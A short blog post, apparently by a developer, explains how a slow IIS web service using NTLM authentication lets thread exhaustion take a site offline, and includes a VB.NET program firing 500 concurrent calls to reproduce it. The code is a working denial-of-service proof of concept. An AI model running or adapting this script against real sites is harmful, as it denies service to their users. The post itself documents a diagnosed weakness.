IIS: the danger of slow webservices (on Integrated authentication).

During the investigation of IIS crashes on a customers site I came across some articles detailing the Max amount of threads a worker process can hold. I also learned that a normal request to a web-service takes 2 threads, one running over NTLM authentication takes four.

So in the process of reproducing the issue I came across the following issue: If/when you have a slow web-service running (i.e: it takes the web-service a long time to respond) and the whole site running under a application pool with one single worker process it is trivial to exhaust the threads and effectively keep it too occupied to handle requests from other users.

In the .NET example below service.slowpoke is the webservice.  Please note that while this code will take the site offline, it has almost no impact on the client machine running the code.

Module Module1
    Private loTime(499) As Timers.Timer
    Private resultCount As Integer = 0
    Private startCount As Integer = 0
    Sub Main()
        Console.Clear()
        Exhaust()

        Console.ReadLine()
    End Sub

    Private Sub Exhaust()
        For Each i As System.Timers.Timer In loTime
            i = New System.Timers.Timer(500)
            AddHandler i.Elapsed, AddressOf TikTok
            startCount = startCount + 1
            i.Start()
            PrintResult()
        Next
    End Sub

    Private Sub TikTok(ByVal o As Object, ByVal e As System.EventArgs)
        Dim x As System.Timers.Timer = CType(o, System.Timers.Timer)
        x.Enabled = False
        Dim loobj As New serice.slowpoke

        Dim lsStrSlow As String = loobj.SLowpoke
        resultCount = resultCount + 1
        PrintResult()
    End Sub

    Sub PrintResult()
        Console.Clear()
        Console.WriteLine("Initialised " & startCount)
        Console.WriteLine("Finished " & resultCount)
    End Sub
End Module

About these ads